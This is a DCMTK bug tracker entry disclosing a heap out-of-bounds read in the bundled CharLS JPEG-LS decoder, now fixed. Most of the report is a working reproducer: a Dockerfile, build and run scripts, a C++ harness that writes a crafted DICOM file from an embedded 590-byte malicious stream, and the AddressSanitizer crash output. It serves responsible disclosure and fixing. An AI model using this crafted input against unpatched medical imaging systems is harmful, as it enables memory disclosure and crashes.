Bug #1242
closedOut-of-bounds read decoding 3-component JPEG-LS images
Added by Michael Onken about 7 hours ago. Updated about 6 hours ago.
0%
Description
As reported by quellsec.dev:
Summary¶
Heap out-of-bounds read in CharLS TransformLine: the SOS scan uses the SOF-declared _rect.Width as the per-line transform pixel count without bounding it against the allocated scanline buffer
Affected version¶
- Target: dcmtk @ 7246c5a9ca64c2d4312774bf40d046e255c00a41
Root cause¶
On the JPEG-LS decode output path, the per-line color/sample transform is driven with the SOF-declared image width (_rect.Width) as the pixel count, but the source scanline buffer it reads from was allocated for the codec's internal width. A stream whose declared width is larger than the scanline buffer makes the transform read past the end of that buffer, an attacker-controlled heap over-read whose over-read bytes become decoded output pixels.
dcmjpls/libcharls/scan.h:767
bc(c). STRATEGY::OnLineEnd(_rect.Width, _currentLine + _rect.X - (components * pixelstride), pixelstride);
dcmjpls/libcharls/decodstr.h:63
bc(c). _processLine->NewLineDecoded(ptypeBuffer, pixelCount, pixelStride);
dcmjpls/libcharls/procline.h:191
bc(c). void NewLineDecoded(const void* pSrc, int pixelCount, int byteStride)
dcmjpls/libcharls/procline.h:197
bc(c). TransformLine((Triplet<SAMPLE>*)_pbyteOutput, (const Triplet<SAMPLE>*)pSrc, pixelCount, _inverseTransform);
dcmjpls/libcharls/procline.h:108
bc(c). pDest[i] = transform(pSrc[i].v1, pSrc[i].v2, pSrc[i].v3);
Proof of Concept¶
Self-contained. docker build clones the target at the pinned commit and builds it under AddressSanitizer + UndefinedBehaviorSanitizer; docker run feeds the crafted input and reproduces the fault. Save the files below into a poc/ directory and:
bc. docker build -t poc . && docker run --rm poc
Sanitizer outputSanitizer output
=== dcmtk dcmjpls TransformLine _rect.Width OOB-read (expect ASan heap-buffer-overflow READ at procline.h:108) ===
[poc] wrote crafted DICOM to crash_transformline.dcm (Normal)
[poc] loadFile: Normal
[poc] decompressing (chooseRepresentation LE explicit)...
=================================================================
==10==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x519000001d94 at pc 0x55706c2fc317 bp 0x7ffd5498eaa0 sp 0x7ffd5498ea90
READ of size 2 at 0x519000001d94 thread T0
#0 0x55706c2fc316 in void TransformLine<TransformNoneImpl<unsigned short>, unsigned short>(Triplet<unsigned short>*, Triplet<unsigned short> const*, int, TransformNoneImpl<unsigned short>&) /src/dcmjpls/libcharls/procline.h:108
#1 0x55706c2fd785 in ProcessTransformed<TransformNone<unsigned short> >::NewLineDecoded(void const*, int, int) /src/dcmjpls/libcharls/procline.h:197
#2 0x55706c2e1505 in DecoderStrategy::OnLineEnd(long, void const*, long) /src/dcmjpls/libcharls/decodstr.h:63
#3 0x55706c2e1505 in JlsCodec<DefaultTraitsT<unsigned short, unsigned short>, DecoderStrategy>::DoScan(unsigned char**, unsigned long*, unsigned long) /src/dcmjpls/libcharls/scan.h:767
#4 0x55706c2e1f8d in JlsCodec<DefaultTraitsT<unsigned short, unsigned short>, DecoderStrategy>::DecodeScan(void*, JlsRect const&, unsigned char**, unsigned long*, unsigned long, bool) /src/dcmjpls/libcharls/scan.h:856
#5 0x55706c214a39 in JLSInputStream::ReadScan(void*) /src/dcmjpls/libcharls/header.cc:535
#6 0x55706c21507a in JLSInputStream::ReadPixels(void*, unsigned long) /src/dcmjpls/libcharls/header.cc:271
#7 0x55706c2165cf in JLSInputStream::Read(void*, unsigned long) /src/dcmjpls/libcharls/header.cc:242
#8 0x55706c210364 in JpegLsDecode /src/dcmjpls/libcharls/intrface.cc:137
#9 0x55706c1ff1a5 in DJLSDecoderBase::decodeFrameNoSwap(DcmPixelSequence*, DJLSCodecParameter const*, DcmItem*, unsigned int, unsigned int&, void*, unsigned int, int, unsigned short, unsigned short, unsigned short, unsigned short) /src/dcmjpls/libsrc/djcodecd.cc:470
#10 0x55706c20bc1a in DJLSDecoderBase::decode(DcmRepresentationParameter const*, DcmPixelSequence*, DcmPolymorphOBOW&, DcmCodecParameter const*, DcmStack const&, bool&) const /src/dcmjpls/libsrc/djcodecd.cc:207
#11 0x55706c30ffd4 in DcmCodecList::decode(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmPolymorphOBOW&, DcmStack&, bool&) /src/dcmdata/libsrc/dccodec.cc:469
#12 0x55706c4b2c6c in DcmPixelData::decode(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmStack&) /src/dcmdata/libsrc/dcpixel.cc:458
#13 0x55706c4b6d66 in DcmPixelData::chooseRepresentation(E_TransferSyntax, DcmRepresentationParameter const*, DcmStack&) /src/dcmdata/libsrc/dcpixel.cc:307
#14 0x55706c34281b in DcmDataset::chooseRepresentation(E_TransferSyntax, DcmRepresentationParameter const*) /src/dcmdata/libsrc/dcdatset.cc:841
#15 0x55706c1efc06 in main /poc/harness.cc:188
0x519000001d94 is located 0 bytes after 1044-byte region [0x519000001980,0x519000001d94)
allocated by thread T0 here:
#0 0x7f9d8fdc4548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x55706c240cbd in std::__new_allocator<unsigned short>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
#2 0x55706c240cbd in std::allocator_traits<std::allocator<unsigned short> >::allocate(std::allocator<unsigned short>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
#3 0x55706c240cbd in std::_Vector_base<unsigned short, std::allocator<unsigned short> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
#4 0x55706c240cbd in std::_Vector_base<unsigned short, std::allocator<unsigned short> >::_M_create_storage(unsigned long) /usr/include/c++/13/bits/stl_vector.h:398
#5 0x55706c240cbd in std::_Vector_base<unsigned short, std::allocator<unsigned short> >::_Vector_base(unsigned long, std::allocator<unsigned short> const&) /usr/include/c++/13/bits/stl_vector.h:335
#6 0x55706c240cbd in std::vector<unsigned short, std::allocator<unsigned short> >::vector(unsigned long, std::allocator<unsigned short> const&) /usr/include/c++/13/bits/stl_vector.h:557
#7 0x55706c2e0553 in JlsCodec<DefaultTraitsT<unsigned short, unsigned short>, DecoderStrategy>::DoScan(unsigned char**, unsigned long*, unsigned long) /src/dcmjpls/libcharls/scan.h:734
#8 0x55706c2e1f8d in JlsCodec<DefaultTraitsT<unsigned short, unsigned short>, DecoderStrategy>::DecodeScan(void*, JlsRect const&, unsigned char**, unsigned long*, unsigned long, bool) /src/dcmjpls/libcharls/scan.h:856
#9 0x55706c214a39 in JLSInputStream::ReadScan(void*) /src/dcmjpls/libcharls/header.cc:535
#10 0x55706c21507a in JLSInputStream::ReadPixels(void*, unsigned long) /src/dcmjpls/libcharls/header.cc:271
#11 0x55706c2165cf in JLSInputStream::Read(void*, unsigned long) /src/dcmjpls/libcharls/header.cc:242
#12 0x55706c210364 in JpegLsDecode /src/dcmjpls/libcharls/intrface.cc:137
#13 0x55706c1ff1a5 in DJLSDecoderBase::decodeFrameNoSwap(DcmPixelSequence*, DJLSCodecParameter const*, DcmItem*, unsigned int, unsigned int&, void*, unsigned int, int, unsigned short, unsigned short, unsigned short, unsigned short) /src/dcmjpls/libsrc/djcodecd.cc:470
#14 0x55706c20bc1a in DJLSDecoderBase::decode(DcmRepresentationParameter const*, DcmPixelSequence*, DcmPolymorphOBOW&, DcmCodecParameter const*, DcmStack const&, bool&) const /src/dcmjpls/libsrc/djcodecd.cc:207
#15 0x55706c30ffd4 in DcmCodecList::decode(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmPolymorphOBOW&, DcmStack&, bool&) /src/dcmdata/libsrc/dccodec.cc:469
#16 0x55706c4b2c6c in DcmPixelData::decode(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmStack&) /src/dcmdata/libsrc/dcpixel.cc:458
#17 0x55706c4b6d66 in DcmPixelData::chooseRepresentation(E_TransferSyntax, DcmRepresentationParameter const*, DcmStack&) /src/dcmdata/libsrc/dcpixel.cc:307
#18 0x55706c34281b in DcmDataset::chooseRepresentation(E_TransferSyntax, DcmRepresentationParameter const*) /src/dcmdata/libsrc/dcdatset.cc:841
#19 0x55706c1efc06 in main /poc/harness.cc:188
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/dcmjpls/libcharls/procline.h:108 in void TransformLine<TransformNoneImpl<unsigned short>, unsigned short>(Triplet<unsigned short>*, Triplet<unsigned short> const*, int, TransformNoneImpl<unsigned short>&)
Shadow bytes around the buggy address:
0x519000001b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x519000001b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x519000001c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x519000001c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x519000001d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x519000001d80: 00 00[04]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000001e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000001e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000001f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000001f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000002000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==10==ABORTING
run.sh: line 17: 10 Aborted "$POC/harness"
=== exit: 134 ===
.dockerignore (crafted input).dockerignore (crafted input)
- The image rebuilds everything from a clean upstream clone.
dcmtk-build/
build-asan/
harness
.o
.a
build.log
*.poc.zip
poc_transformline.jls (590-byte binary inputxxd hex)
Reconstruct the 590-byte binary poc_transformline.jls from this hexdump (xxd -r -p reverses it):
bc. xxd -r -p > poc_transformline.jls <<'EOF'
ffd8fff8020c0103414141414141414141414141414141414141414141414141414141414141
4141414141414141414141414141414141414141414141414141414141414141414141414141
4141414141414141414141414141414141414141414141414141414141414141414141414141
4141414141414141414141414141414141414141414141414141414141414141414141414141
4141414141414141414141414141414141414141414141414141414141414141414141414141
4141414141414141414141414141414141414141414141414141414141414141414141414141
4141414141414141414141414141414141414141414141414141414141414141414141000001
01010d00000001019e010101fd95000000effc00000000000101000000000000000001010d01
010100019e010101fd95000000effc000000000001010000000000000000a00000000000008c
000000000000fc17000000000087a6a6a6a6840119a6a6a6a6a6a6a6a617001701001c010101
008801171701001a00001a0088011701011d0100c0c0c050008801140d001700811c01010100
a5171701011d1c0100000085007dc7a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a601011d0100c0c0
c050008801140d001701001c01010100a5171701011d1c010000a00000000000008c00000000
0000fc17000000000087a6a6a6a6840119a6a6a6a6a6a6a6a617001701001c010100fff7000b
0000020101bfbfbf57fff7000b0a0107010103000000ffda08080000020300ffff7ffaff7eb8
d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9e8ffd901
EOF
#!/usr/bin/env bash
# Build the dcmtk dcmjpls TransformLine (_rect.Width) OOB-read PoC (ICS-264).
#
# Self-contained: DCMTK source lives at $LIB (=/src, cloned at the pinned
# commit by the Dockerfile); the harness is compiled in the poc dir (/poc).
# No host paths, no private image. A full dcmtk build is enormous, so we build
# ONLY the modules this PoC reaches (ofstd oflog oficonv dcmdata dcmimgle
# dcmjpls -- dcmjpls bundles the CharLS sources libcharls/procline.h with the
# vulnerable TransformLine) with the triage sanitizer matrix:
# -fsanitize=address,undefined -fno-sanitize-recover=undefined
set -euo pipefail
SRC="${LIB:-/src}"
POC="$(cd "$(dirname "$0")" && pwd)"
BUILD="$SRC/build-asan"
MODULES="ofstd;oflog;oficonv;dcmdata;dcmimgle;dcmjpls"
MAKE_TARGETS="dcmjpls dcmimgle dcmdata oflog ofstd oficonv"
LINK_LIBS="-ldcmjpls -ldcmtkcharls -ldcmimgle -ldcmdata -loflog -lofstd -loficonv"
INC_MODULES="ofstd oflog oficonv dcmdata dcmimgle dcmjpls"
SAN="-fsanitize=address,undefined -fno-sanitize-recover=undefined -fno-omit-frame-pointer -g -O1"
CXX="${CXX:-g++}"
if [ ! -f "$BUILD/.configured" ]; then
mkdir -p "$BUILD"; cd "$BUILD"
cmake -G "Unix Makefiles" "$SRC" \
-DCMAKE_BUILD_TYPE=Debug \
-DBUILD_SHARED_LIBS=OFF -DBUILD_APPS=OFF \
-DDCMTK_MODULES="$MODULES" \
-DDCMTK_WITH_ZLIB=OFF -DDCMTK_WITH_OPENSSL=OFF -DDCMTK_WITH_PNG=OFF \
-DDCMTK_WITH_TIFF=OFF -DDCMTK_WITH_XML=OFF -DDCMTK_WITH_ICONV=OFF \
-DDCMTK_WITH_ICU=OFF -DDCMTK_WITH_OPENJPEG=OFF \
-DDCMTK_ENABLE_CHARSET_CONVERSION=oficonv \
-DCMAKE_C_FLAGS="$SAN" -DCMAKE_CXX_FLAGS="$SAN" -DCMAKE_EXE_LINKER_FLAGS="$SAN"
touch "$BUILD/.configured"
fi
cd "$BUILD"
make -j"$(nproc)" $MAKE_TARGETS
LIBDIR=""
for d in "$BUILD/lib" "$BUILD"; do
if ls "$d"/libdcmjpls.a >/dev/null 2>&1; then LIBDIR="$d"; break; fi
done
[ -n "$LIBDIR" ] || { echo "FAIL: dcmtk libs not found"; find "$BUILD" -name 'lib*.a'; exit 1; }
echo "libs in: $LIBDIR"
INCS="-I$SRC/config/include -I$BUILD/config/include"
for m in $INC_MODULES; do INCS="$INCS -I$SRC/$m/include"; done
"$CXX" $SAN $INCS "$POC/harness.cc" -o "$POC/harness" \
-L"$LIBDIR" $LINK_LIBS -lpthread
echo "BUILT: $POC/harness"
#!/usr/bin/env bash
# Run the dcmtk dcmjpls TransformLine (_rect.Width) OOB-read PoC (ICS-264).
# The harness writes a crafted 3-component ILV_SAMPLE JPEG-LS Lossless DICOM
# file in the cwd (/poc), reloads it via DcmFileFormat::loadFile, and
# decompresses through the registered DCMTK JPEG-LS codec. Expect an
# AddressSanitizer heap-buffer-overflow READ in TransformLine at
# dcmjpls/libcharls/procline.h:108.
set -uo pipefail
POC="$(cd "$(dirname "$0")" && pwd)"
SRC="${LIB:-/src}"
export DCMDICTPATH="$SRC/dcmdata/data/dicom.dic"
export ASAN_OPTIONS="abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1"
export ASAN_SYMBOLIZER_PATH="${ASAN_SYMBOLIZER_PATH:-$(command -v llvm-symbolizer || true)}"
cd "$POC"
echo "=== dcmtk dcmjpls TransformLine _rect.Width OOB-read (expect ASan heap-buffer-overflow READ at procline.h:108) ==="
"$POC/harness"
rc=$?
echo "=== exit: $rc ==="
exit "$rc"
# Self-contained reproducer image for dcmtk (DCMTK DICOM toolkit) findings.
#
# Clones DCMTK at the exact commit the finding was verified against and builds
# ONLY the dcmtk modules the PoC needs (a full dcmtk build is enormous) with
# AddressSanitizer + UndefinedBehaviorSanitizer, then compiles the finding's
# harness against those sanitized static libs. No private base image and no
# local source tree are needed: a maintainer runs the two commands below and
# reproduces the crash from a clean machine.
#
# docker build -t poc .
# docker run --rm poc
#
# build.sh does the scoped module build (cmake -DDCMTK_MODULES="..." + make of
# just the needed targets) and the harness compile, so the per-finding module
# set lives in build.sh and this Dockerfile is identical for every dcmtk PoC.
#
# Toolchain: GCC (g++) + libasan/libubsan, the exact toolchain these findings
# were triaged under (their reference asan_output.txt traces show GCC's
# libsanitizer). It matters: one finding (the diluptab big-endian PoC) drives
# the library's big-endian branch by writing the runtime byte-order global
# through a const_cast; clang places that global read-only and elides the UB
# store, so the bug would not reproduce under clang. GCC reproduces it.
FROM ubuntu:24.04
# Pinned in pipeline/targets.yaml (dcmtk.commit). Override at build time with
# --build-arg COMMIT=<sha> to reproduce against another revision.
ARG COMMIT=7246c5a9ca64c2d4312774bf40d046e255c00a41
ENV DEBIAN_FRONTEND=noninteractive LIB=/src CC=gcc CXX=g++
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ gcc libasan8 libubsan1 cmake make \
&& rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/DCMTK/dcmtk /src \
&& git -C /src checkout "$COMMIT"
WORKDIR /poc
COPY . /poc
RUN bash build.sh
CMD ["bash", "run.sh"]
/*
* PoC harness for ICS-264: dcmtk-charls-transformline-rectwidth-oob-read
*
* Site: dcmjpls/libcharls/procline.h:108 TransformLine<TRANSFORM,SAMPLE>()
*
* template<class TRANSFORM, class SAMPLE>
* void TransformLine(Triplet<SAMPLE>* pDest, const Triplet<SAMPLE>* pSrc,
* int pixelCount, TRANSFORM& transform)
* {
* for (int i = 0; i < pixelCount; ++i)
* pDest[i] = transform(pSrc[i].v1, pSrc[i].v2, pSrc[i].v3);
* }
*
* Reached for a 3-component, ILV_SAMPLE image via:
* JlsCodec::DoScan (scan.h:767)
* STRATEGY::OnLineEnd(_rect.Width, ...)
* -> DecoderStrategy::OnLineEnd (decodstr.h:63)
* -> ProcessTransformed::NewLineDecoded (procline.h:191/197)
* TransformLine((Triplet<SAMPLE>*)_pbyteOutput, (const Triplet<SAMPLE>*)pSrc,
* pixelCount, _inverseTransform)
* -> TransformLine (procline.h:108) reads pSrc[i] for i in [0, pixelCount)
*
* pixelCount is _rect.Width, taken verbatim from the stream's SOF-declared
* image width; pSrc points into DoScan's internal scanline buffer
* (OFVector<PIXEL> vectmp, scan.h:734), a std::vector allocation. The
* fuzzer-found 590-byte JPEG-LS stream embedded below (SOI, an oversized
* LSE/preset-parameters marker used to skip a large filler region, two
* duplicated preset-parameter blocks, SOF55 declaring a 3-component
* ILV_SAMPLE 257x263 image at 10 bits/sample, then SOS + a short entropy
* segment) drives the codec into a state where the per-line transform pixel
* count (_rect.Width) exceeds the number of Triplet<SAMPLE> elements the
* 1044-byte vectmp allocation holds: TransformLine reads 2 bytes past the
* end of that heap allocation. This is the exact byte sequence verified
* standalone against the raw CharLS entry points (JpegLsReadHeader /
* JpegLsDecode, see poc_transformline.jls + fuzz/dcmtk_charls/harness); this
* harness instead drives it through DCMTK's DICOM FILE API so the abort
* frame is proven reachable from a malicious .dcm file, not just a raw
* codec call.
*
* Transport: a real DICOM file with JPEG-LS Lossless transfer syntax is
* written to disk, reloaded via DcmFileFormat::loadFile (the DICOM file
* parse entry point), and decompressed through the registered DCMTK
* JPEG-LS codec (DJLSDecoderRegistration -> DJLSLosslessDecoder::decode ->
* decodeFrameNoSwap (djcodecd.cc:452 JpegLsReadHeader, :470 JpegLsDecode) ->
* JLSInputStream::Read -> ReadPixels -> ReadScan -> DecodeScan -> DoScan ->
* TransformLine).
*
* djcodecd.cc:457-459 requires the dataset's Columns/Rows/SamplesPerPixel to
* exactly match the JPEG-LS stream's own SOF-declared width/height/
* components (params.width/height/components, read via JpegLsReadHeader on
* the SAME embedded bytes) before it will call JpegLsDecode. Those values
* (257 x 263, 3 components) were read out of this exact byte sequence with
* JpegLsReadHeader itself (not guessed), so the crafted dataset below sets
* Columns=257, Rows=263, SamplesPerPixel=3 to satisfy that guard and reach
* the same internal divergence that fires standalone.
*/
#include "dcmtk/config/osconfig.h"
#include "dcmtk/dcmdata/dctk.h"
#include "dcmtk/dcmdata/dcdeftag.h"
#include "dcmtk/dcmdata/dcpxitem.h"
#include "dcmtk/dcmdata/dcpixseq.h"
#include "dcmtk/dcmjpls/djdecode.h"
#include <cstdio>
#include <cstring>
// The exact 590-byte JPEG-LS stream verified standalone (poc_transformline.jls)
// to trip the heap-buffer-overflow READ at procline.h:108. JpegLsReadHeader on
// these bytes reports: width=257 height=263 bitspersample=10 components=3
// ilv=2 (ILV_SAMPLE) -- confirmed by running the real CharLS header parser,
// not derived by hand.
static const Uint8 kJls[] = {
0xff, 0xd8, 0xff, 0xf8, 0x02, 0x0c, 0x01, 0x03, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00,
0x00, 0x01, 0x01, 0x01, 0x0d, 0x00, 0x00, 0x00, 0x01, 0x01, 0x9e, 0x01,
0x01, 0x01, 0xfd, 0x95, 0x00, 0x00, 0x00, 0xef, 0xfc, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x01, 0x0d, 0x01, 0x01, 0x01, 0x00, 0x01, 0x9e, 0x01, 0x01, 0x01,
0xfd, 0x95, 0x00, 0x00, 0x00, 0xef, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xfc, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0xa6, 0xa6, 0xa6, 0xa6,
0x84, 0x01, 0x19, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0x17,
0x00, 0x17, 0x01, 0x00, 0x1c, 0x01, 0x01, 0x01, 0x00, 0x88, 0x01, 0x17,
0x17, 0x01, 0x00, 0x1a, 0x00, 0x00, 0x1a, 0x00, 0x88, 0x01, 0x17, 0x01,
0x01, 0x1d, 0x01, 0x00, 0xc0, 0xc0, 0xc0, 0x50, 0x00, 0x88, 0x01, 0x14,
0x0d, 0x00, 0x17, 0x00, 0x81, 0x1c, 0x01, 0x01, 0x01, 0x00, 0xa5, 0x17,
0x17, 0x01, 0x01, 0x1d, 0x1c, 0x01, 0x00, 0x00, 0x00, 0x85, 0x00, 0x7d,
0xc7, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6,
0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0x01, 0x01, 0x1d, 0x01, 0x00, 0xc0, 0xc0,
0xc0, 0x50, 0x00, 0x88, 0x01, 0x14, 0x0d, 0x00, 0x17, 0x01, 0x00, 0x1c,
0x01, 0x01, 0x01, 0x00, 0xa5, 0x17, 0x17, 0x01, 0x01, 0x1d, 0x1c, 0x01,
0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xfc, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87,
0xa6, 0xa6, 0xa6, 0xa6, 0x84, 0x01, 0x19, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6,
0xa6, 0xa6, 0xa6, 0x17, 0x00, 0x17, 0x01, 0x00, 0x1c, 0x01, 0x01, 0x00,
0xff, 0xf7, 0x00, 0x0b, 0x00, 0x00, 0x02, 0x01, 0x01, 0xbf, 0xbf, 0xbf,
0x57, 0xff, 0xf7, 0x00, 0x0b, 0x0a, 0x01, 0x07, 0x01, 0x01, 0x03, 0x00,
0x00, 0x00, 0xff, 0xda, 0x08, 0x08, 0x00, 0x00, 0x02, 0x03, 0x00, 0xff,
0xff, 0x7f, 0xfa, 0xff, 0x7e, 0xb8, 0xd9, 0xd9, 0xd9, 0xd9, 0xd9, 0xd9,
0xd9, 0xd9, 0xd9, 0xd9, 0xd9, 0xd9, 0xd9, 0xd9, 0xd9, 0xd9, 0xe8, 0xff,
0xd9, 0x01
};
// build_encapsulated -- construct the Image Pixel Module attributes and the
// encapsulated (compressed) pixel data element for a 3-component, ILV_SAMPLE,
// 10-bit JPEG-LS Lossless image whose geometry (257x263x3) matches what
// JpegLsReadHeader reports for kJls, satisfying DJLSDecoderBase's
// params.width/height/components == Columns/Rows/SamplesPerPixel guard
// (djcodecd.cc:457-459) so the malicious fragment reaches JpegLsDecode.
static void build_encapsulated(DcmDataset *ds)
{
ds->putAndInsertString(DCM_PhotometricInterpretation, "RGB");
ds->putAndInsertString(DCM_SOPClassUID, "1.2.840.10008.5.1.4.1.1.7"); // Secondary Capture
ds->putAndInsertUint16(DCM_SamplesPerPixel, 3);
ds->putAndInsertUint16(DCM_Rows, 263);
ds->putAndInsertUint16(DCM_Columns, 257);
ds->putAndInsertUint16(DCM_BitsAllocated, 16);
ds->putAndInsertUint16(DCM_BitsStored, 10);
ds->putAndInsertUint16(DCM_HighBit, 9);
ds->putAndInsertUint16(DCM_PixelRepresentation, 0);
ds->putAndInsertUint16(DCM_PlanarConfiguration, 0);
ds->putAndInsertString(DCM_NumberOfFrames, "1");
// Encapsulated pixel data: empty Basic Offset Table + one JPEG-LS fragment.
DcmPixelData *pixelData = new DcmPixelData(DCM_PixelData);
DcmPixelSequence *seq = new DcmPixelSequence(DCM_PixelSequenceTag);
DcmPixelItem *offsetTable = new DcmPixelItem(DCM_PixelItemTag);
seq->insert(offsetTable);
DcmPixelItem *frag = new DcmPixelItem(DCM_PixelItemTag);
frag->putUint8Array(kJls, (Uint32)sizeof(kJls));
seq->insert(frag);
pixelData->putOriginalRepresentation(EXS_JPEGLSLossless, NULL, seq);
ds->insert(pixelData);
}
// write_crafted_dcm -- build the crafted dataset and save it to disk as a
// real JPEG-LS Lossless DICOM file (the on-wire/on-disk transport for the
// decode path exercised by main()).
static void write_crafted_dcm(const char *path)
{
DcmFileFormat ff;
build_encapsulated(ff.getDataset());
OFCondition c = ff.saveFile(path, EXS_JPEGLSLossless);
std::fprintf(stderr, "[poc] wrote crafted DICOM to %s (%s)\n",
path, c.text());
}
int main(int argc, char **argv)
{
const char *path = (argc > 1) ? argv[1] : "crash_transformline.dcm";
write_crafted_dcm(path);
DJLSDecoderRegistration::registerCodecs();
// Real DICOM file-parsing entry point.
DcmFileFormat ff;
OFCondition cond = ff.loadFile(path);
std::fprintf(stderr, "[poc] loadFile: %s\n", cond.text());
DcmDataset *ds = ff.getDataset();
std::fprintf(stderr, "[poc] decompressing (chooseRepresentation LE explicit)...\n");
cond = ds->chooseRepresentation(EXS_LittleEndianExplicit, NULL);
std::fprintf(stderr, "[poc] decompress returned: %s (no crash?)\n", cond.text());
DJLSDecoderRegistration::cleanup();
return 0;
}
Severity¶
medium -- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L
Updated by Michael Onken about 6 hours ago
- Status changed from New to Closed
Fixed with commit 4c84db4702249593d2fb7f9bc3c90bc7185ababb.